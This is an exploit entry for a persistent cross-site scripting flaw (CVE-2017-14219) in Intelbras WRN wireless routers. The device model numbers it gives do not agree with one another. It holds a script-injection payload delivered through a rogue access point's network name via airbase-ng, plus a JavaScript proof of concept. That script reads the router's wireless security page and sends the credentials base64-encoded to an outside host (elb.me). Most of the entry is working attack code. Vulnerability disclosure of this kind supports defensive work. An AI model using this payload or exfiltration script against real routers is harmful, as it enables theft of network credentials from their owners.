Roteador Wireless Intelbras WRN150 - Cross-Site Scripting

# Exploit Title: XSS persistent on intelbras router with firmware WRN 250
# Date: 07/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage: http://intelbras.com.br/
# Version: Intelbras Wireless N 150Mbps - WRN 240
# Tested on: kali linux, windows 7, 8.1, 10

# CVE-2017-14219

For more info:


http://whiteboyz.xyz/xss-roteador-intelbras-wrn-240html

URL VULN: http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm

Payload: </script><script src='//elb.me'>

"elb.me contains the malicious code on index"

airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon

//requires an php script to get the logs

PoC:

var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
       alert(rawFile.responseText);
       var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
       //seleiciona a parte da página com as credenciais
       new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
       //envia as credenciais encodadas em base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//pega a source da página /popupSiteSurveyRpm.htm
rawFile.send();